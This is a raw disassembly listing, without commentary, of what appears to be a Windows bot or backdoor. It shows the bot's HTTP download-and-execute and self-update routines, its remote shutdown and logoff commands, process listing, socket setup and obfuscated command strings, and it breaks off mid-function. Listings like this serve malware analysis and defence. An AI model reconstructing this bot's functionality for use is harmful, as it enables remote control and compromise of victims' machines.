loc_41DC04: ; CODE XREF: sub_41D930+195j
lea ecx, [esp+28h+arg_20]
call sub_40142E
lea ecx, [esp+28h+var_C]
mov [esp+28h+arg_1144], 3
call sub_40142E
push ebp
mov ecx, edi
mov [esp+2Ch+arg_1144], 4
call sub_4017EE
push eax
call sub_401AA0
mov ebx, eax
add esp, 8
cmp ebx, 0FFFFFFFFh
mov [esp+28h+var_14], ebx
jnz short loc_41DC87
lea ecx, [esi+7Ah]
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadconnect ; "http(badconnect)"
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
db 53h
dd 69B9B8E8h, 0BEE99071h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_41DC87: ; CODE XREF: sub_41D930+310j
push ebp
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [esi+26h]
call sub_4017EE
push eax
lea edx, [esp+30h+arg_24]
push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+24h+arg_24]
push 0
call sub_4013E3
push eax
lea ecx, [esp+2Ch+arg_24]
call sub_4017EE
push eax
push ebx
nop
call near ptr 71AB428Ah
lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aHttpGetting ; "http(getting)"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
push offset aWb ; "wb"
lea ecx, [esi+65h]
call sub_4017EE
push eax
nop
call near ptr 77C3F010h
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41DD80
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push offset aHttpBadopen ; "http(badopen)"
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_24], esi
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+34h+var_18]
mov byte ptr [esp+34h+arg_1138], 3
call sub_401226
lea ecx, [esp+34h+arg_14]
mov byte ptr [esp+34h+arg_1138], 2
call sub_401226
lea ecx, [esp+34h]
mov [esp+34h+arg_1138], 0FFFFFFFFh
call sub_401226
jmp loc_41E048
; ---------------------------------------------------------------------------
loc_41DD80: ; CODE XREF: sub_41D930+3DBj
; sub_41D930+484j ...
mov eax, [esp+34h+var_20]
push 0
lea edx, [esp+38h+arg_130]
push 1000h
push edx
push eax
call near ptr 71AB615Ah
nop
mov ebp, eax
test ebp, ebp
jle short loc_41DDF8
cmp ebp, 1000h
jge short loc_41DDB0
mov [esp+ebp+44h+arg_120], 0
loc_41DDB0: ; CODE XREF: sub_41D930+476j
xor edi, edi
test ebp, ebp
jle short loc_41DD80
loc_41DDB6: ; CODE XREF: sub_41D930+4A5j
push 4
lea ecx, [esp+edi+48h+arg_120]
push offset asc_444EE0 ; "\r\n\r\n"
push ecx
call near ptr 77C47A50h
nop
add esp, 0Ch
test eax, eax
jz short loc_41DDD9
inc edi
cmp edi, ebp
jl short loc_41DDB6
jmp short loc_41DD80
; ---------------------------------------------------------------------------
loc_41DDD9: ; CODE XREF: sub_41D930+4A0j
add edi, 4
cmp edi, ebp
jge short loc_41DDF8
loc_41DDE0: ; CODE XREF: sub_41D930+4C6j
movsx edx, [esp+edi+44h+arg_120]
push ebx
push edx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DDE0
loc_41DDF8: ; CODE XREF: sub_41D930+46Ej
; sub_41D930+4AEj ...
mov edi, [esp+44h+var_30]
push 0
lea eax, [esp+48h+arg_120]
push 1000h
push eax
push edi
nop
call near ptr 71AB615Ah
mov ebp, eax
test ebp, ebp
jle short loc_41DE48
cmp ebp, 1000h
jge short loc_41DE28
mov [esp+ebp+54h+arg_110], 0
loc_41DE28: ; CODE XREF: sub_41D930+4EEj
xor edi, edi
test ebp, ebp
jle short loc_41DDF8
loc_41DE2E: ; CODE XREF: sub_41D930+514j
movsx ecx, [esp+edi+54h+arg_110]
push ebx
push ecx
nop
call near ptr 77C40E76h
add esp, 8
inc edi
cmp edi, ebp
jl short loc_41DE2E
jmp short loc_41DDF8
; ---------------------------------------------------------------------------
loc_41DE48: ; CODE XREF: sub_41D930+4E6j
push ebx
nop
call near ptr 77C40AB1h
add esp, 4
push edi
nop
call near ptr 71AB9639h
lea ecx, [esp+58h+var_3C]
mov [esp+58h+arg_1114], 3
call sub_401226
lea ecx, [esp+58h+var_C]
mov [esp+58h+arg_1114], 2
call sub_401226
loc_41DE7B: ; CODE XREF: sub_41D930+2CFj
mov al, [esi+90h]
test al, al
jnz loc_41DF17
lea ebp, [esi+65h]
mov ecx, ebp
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlDone_S_ ; "dl, done. %s ."
mov ecx, edi
call sub_40168B
mov dl, [esi+93h]
push eax
mov al, [esi+92h]
push edx
push eax
push offset byte_4D8085
call sub_401857
mov al, [esi+8Fh]
add esp, 18h
test al, al
jz loc_41E00C
push offset byte_448F40
mov ecx, ebp
call sub_4017EE
push eax
call sub_401299
add esp, 8
mov ecx, ebp
call sub_4017EE
push eax
push offset aOpenS_ ; "open %s."
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
jmp loc_41E00C
; ---------------------------------------------------------------------------
loc_41DF17: ; CODE XREF: sub_41D930+553j
lea ebx, [esi+65h]
mov ecx, ebx
call sub_4017EE
lea edi, [esi+7Ah]
push eax
push offset aDlEdUpdateS ; "dl'ed-update: %s"
mov ecx, edi
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
lea edx, [esp+8Ch+var_3C]
push 51h
push edx
call sub_4019C4
add esp, 3Ch
mov ecx, eax
mov [esp+58h+arg_1114], 5
call sub_4014DD
push eax
mov ecx, ebx
call sub_4014DD
push eax
call sub_402167
add esp, 8
lea ecx, [esp+58h+var_3C]
mov bl, al
mov [esp+58h+arg_1114], 2
call sub_401226
test bl, bl
jz short loc_41DFE7
mov al, byte_4498A6
test al, al
jz short loc_41DFB6
push offset dword_449844
mov ecx, offset dword_44AD80
call sub_401451
loc_41DFB6: ; CODE XREF: sub_41D930+675j
mov al, byte_4498EF
test al, al
jz short loc_41DFCE
push offset byte_44991F
mov ecx, offset dword_44AD80
call sub_401951
loc_41DFCE: ; CODE XREF: sub_41D930+68Dj
mov ecx, offset dword_44AD80
call sub_401E79
push 1
mov byte_4E8E54, 0
nop
call near ptr 77C39E7Eh
loc_41DFE7: ; CODE XREF: sub_41D930+66Cj
mov ecx, edi
call sub_4014DD
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aExec_error ; "exec.error"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
loc_41E00C: ; CODE XREF: sub_41D930+597j
; sub_41D930+5E2j
mov [esp+5Ch+var_44], esi
lea edx, [esp+5Ch+var_44]
loc_41E014: ; CODE XREF: sub_41D930+1E7j
push edx
loc_41E015: ; CODE XREF: sub_41D930+23Ej
; sub_41D930+2BDj
mov ecx, offset byte_4E8EAB
call sub_40120D
; ---------------------------------------------------------------------------
lea ecx, [esp+5Ch+var_28]
mov [esp+5Ch+arg_1110], 0FFFFFFFFh
call sub_401226
jmp short loc_41E048
; ---------------------------------------------------------------------------
loc_41E035: ; CODE XREF: sub_41D930+36j
; sub_41D930+4Dj ...
mov [esp+1Ch+var_C], esi
lea eax, [esp+1Ch+var_C]
loc_41E03D: ; CODE XREF: sub_41D930+9Cj
push eax
mov ecx, offset byte_4E8EAB
call sub_40120D
sub_41D930 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D930
loc_41E048: ; CODE XREF: sub_41D930+44Bj
; sub_41D930+703j
mov ecx, [esp+34h+arg_1130]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 1164h
retn
; END OF FUNCTION CHUNK FOR sub_41D930
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E240 proc near ; CODE XREF: sub_401BA4j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E240
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 0Fh
push 0Fh
push 2
push 5
push 12h
push 4Fh
push 3
lea eax, [esp+64h+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_41E240 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Eh
push 17h
push 0Fh
push 4
push 14h
push 15h
push 8
push 13h
push 4Fh
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 6
push 6
push 0Fh
push 7
push 0Fh
push 0Ch
push 4Fh
push 3
lea ecx, [esp+40h]
push 10h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E3C0: ; CODE XREF: ___:loc_4010B4j
push ebx
push esi
push edi
mov edi, [esp+10h]
mov esi, ecx
lea ebx, [edi+7Eh]
lea ecx, [esi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E41B
push offset dword_444FE4
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+93h]
push eax
mov al, [edi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 14h
push 0
push 6
nop
call near ptr 28B0000h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E41B: ; CODE XREF: ___:0041E3DEj
lea ecx, [esi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E46A
push offset aSysSd ; "sys(sd)"
lea ecx, [edi+69h]
call sub_40168B
mov dl, [edi+94h]
push eax
mov al, [edi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 14h
push 0
push 5
nop
call near ptr 28B0000h
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_41E46A: ; CODE XREF: ___:0041E42Dj
lea ecx, [esi+60h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41E4B1
push offset aSysLogoff ; "sys(logoff)"
lea ecx, [edi+69h]
call sub_40168B
mov cl, [edi+94h]
mov dl, [edi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 14h
push 0
push 4
nop
call near ptr 28B0000h
loc_41E4B1: ; CODE XREF: ___:0041E47Cj
pop edi
pop esi
xor al, al
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E500 proc near ; CODE XREF: sub_401F7Dj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41E500
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+6Ch+var_3C]
push 10h
mov esi, ecx
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_41E500 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+30h]
push 10h
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 14h
push 13h
push 9
push 0Ch
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea ecx, [esp+3Ch]
push 10h
push ecx
call sub_4019C4
add esp, 3Ch
mov dword ptr [esp+40h], 2
push esi
mov ecx, eax
call sub_4017EE
lea edx, [esi+8Eh]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 3
push 16h
push 13h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea eax, [esp+3Ch]
push 10h
push eax
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 9
push 10h
push 0Ch
push 0Ch
push 9
push 0Bh
push 4Fh
push 0Ch
push 12h
push 14h
push 3
lea edx, [esp+54h]
push 10h
push edx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E760 proc near ; CODE XREF: sub_40161Dj
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41E760
push eax
mov large fs:0, esp
sub esp, 44h
push ebx
push ebp
push esi
mov esi, [esp+5Ch+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E8FA
lea eax, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push eax
call sub_4018E8
; ---------------------------------------------------------------------------
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0
push ecx
call sub_4011D6
add esp, 4
test al, al
jz loc_41E8E2
push 0
push 7Bh
push 25h
push 9
push 25h
push 25h
push 9
push 5
push 1Dh
push 23h
push 1Fh
lea edx, [esp+8Ch+var_3C]
push 79h
push edx
call sub_4019C4
add esp, 34h
mov edi, eax
lea ebx, [esi+69h]
mov byte ptr [esp+60h+var_4], 1
mov ecx, ebx
call sub_4014DD
push eax
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_40170D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
xor edi, edi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+60h+var_4C]
push ecx
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], eax
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jz short loc_41E8E2
mov ebp, dword_5118D8
loc_41E86E: ; CODE XREF: sub_41E760+180j
lea ecx, [esp+60h+var_50]
inc edi
call sub_40122B
mov ecx, eax
call sub_4017EE
push eax
lea ecx, [esp+64h+var_50]
call sub_40122B
mov edx, [eax+15h]
mov ecx, ebx
push edx
push edi
push offset aD_PidDS ; "%d. - Pid: %d - \"%s\""
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 20h
push 5DCh
call ebp
lea ecx, [esp+60h+var_50]
call sub_40107D
lea edx, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push edx
call sub_40197E
push eax
lea ecx, [esp+64h+var_50]
call sub_401811
test al, al
jnz short loc_41E86E
loc_41E8E2: ; CODE XREF: sub_41E760+62j
; sub_41E760+106j
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401825
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41E8FA: ; CODE XREF: sub_41E760+37j
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41E9EE
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41ED15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 4
call sub_4014DD
push eax
push offset dword_445014
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41E9EE: ; CODE XREF: sub_41E760+1ACj
lea ecx, [edi+8Eh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EB55
lea edx, [esp+60h+arg_0]
lea ecx, [esp+60h+var_48]
push edx
call sub_4016EA
; ---------------------------------------------------------------------------
lea eax, [esp+60h+var_48]
mov ebx, 5
push eax
mov [esp+64h+var_4], ebx
call sub_402162
add esp, 4
test al, al
jz loc_41EB3D
push 0
push 3Eh
push 13h
push ebx
push 3
push 9
push 16h
push 12h
push ebx
push 13h
lea ecx, [esp+88h+var_3C]
push 3Dh
push ecx
call sub_4019C4
add esp, 30h
mov edi, eax
lea ebp, [esi+69h]
mov byte ptr [esp+60h+var_4], 6
mov ecx, ebp
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], bl
call sub_401226
lea ecx, [esp+60h+var_50]
call sub_401B54
lea ecx, [esp+60h+var_4C]
xor edi, edi
push ecx
lea ecx, [esp+64h+var_48]
call sub_401465
mov edx, [eax]
lea eax, [esp+60h+var_4C]
push eax
lea ecx, [esp+64h+var_48]
mov [esp+64h+var_50], edx
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jz short loc_41EB3D
mov ebx, dword_5118D8
loc_41EAD6: ; CODE XREF: sub_41E760+3DBj
lea ecx, [esp+60h+var_50]
inc edi
call sub_401055
mov ecx, eax
call sub_4017EE
push eax
push edi
push offset dword_445008
mov ecx, ebp
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
push 5DCh
call ebx
lea ecx, [esp+60h+var_50]
call sub_401839
lea eax, [esp+60h+var_4C]
lea ecx, [esp+60h+var_48]
push eax
call sub_4013F7
push eax
lea ecx, [esp+64h+var_50]
call sub_4012BC
test al, al
jnz short loc_41EAD6
loc_41EB3D: ; CODE XREF: sub_41E760+2CFj
; sub_41E760+36Ej
lea ecx, [esp+60h+var_48]
mov [esp+60h+var_4], 0FFFFFFFFh
call sub_401253
; ---------------------------------------------------------------------------
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41EB55: ; CODE XREF: sub_41E760+2A3j
lea ecx, [edi+0BCh]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41EC4C
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_3C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz loc_41ED15
push offset asc_444600 ; " "
lea edx, [esp+64h+var_3C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 8
call sub_4017EE
push eax
call sub_401A0A
add esp, 4
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 9
call sub_4014DD
push eax
push offset dword_445000
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
mov al, 1
jmp loc_41ED17
; ---------------------------------------------------------------------------
loc_41EC4C: ; CODE XREF: sub_41E760+40Aj
lea ecx, [edi+60h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41ED15
push offset asc_444600 ; " "
lea eax, [esp+64h+var_3C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4012EE
test eax, eax
setz bl
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
test bl, bl
jnz short loc_41ED15
push offset asc_444600 ; " "
lea ecx, [esp+64h+var_24]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+60h+var_4], 0Bh
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+60h+var_24]
mov ebx, eax
mov [esp+60h+var_4], edi
call sub_401226
test ebx, ebx
jz short loc_41ED15
push ebx
push offset dword_444FF4
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
push ebx
call sub_4018B6
add esp, 1Ch
jmp short loc_41ED17
; ---------------------------------------------------------------------------
loc_41ED15: ; CODE XREF: sub_41E760+1F0j
; sub_41E760+44Ej ...
xor al, al
loc_41ED17: ; CODE XREF: sub_41E760+195j
; sub_41E760+289j ...
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 50h
retn 4
sub_41E760 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 180h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41EEB0: ; CODE XREF: ___:loc_402004j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push (offset asc_43C4EA+26h)
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword_5118D8
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41EEE0: ; CODE XREF: ___:0041EEF1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41EEF3
push 3E8h
call edi
jmp short loc_41EEE0
; ---------------------------------------------------------------------------
loc_41EEF3: ; CODE XREF: ___:0041EEE8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_449287
call sub_401A41
lea edx, [ebp-14h]
mov ecx, offset byte_4E8EAB
push edx
mov [ebp-14h], esi
call sub_40120D
; ---------------------------------------------------------------------------
loc_41EF19: ; DATA XREF: ___:loc_41EF2Co
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41EF2C: ; DATA XREF: ___:00442554o
mov eax, offset loc_41EF19
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41EF70 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401FDC
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401FDC
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401FDC
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401FDC
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41EF70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41F030 proc near ; CODE XREF: sub_4020C7j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41F030
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_437B30
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr dword_44965F
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [edi+1Bh], ax
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
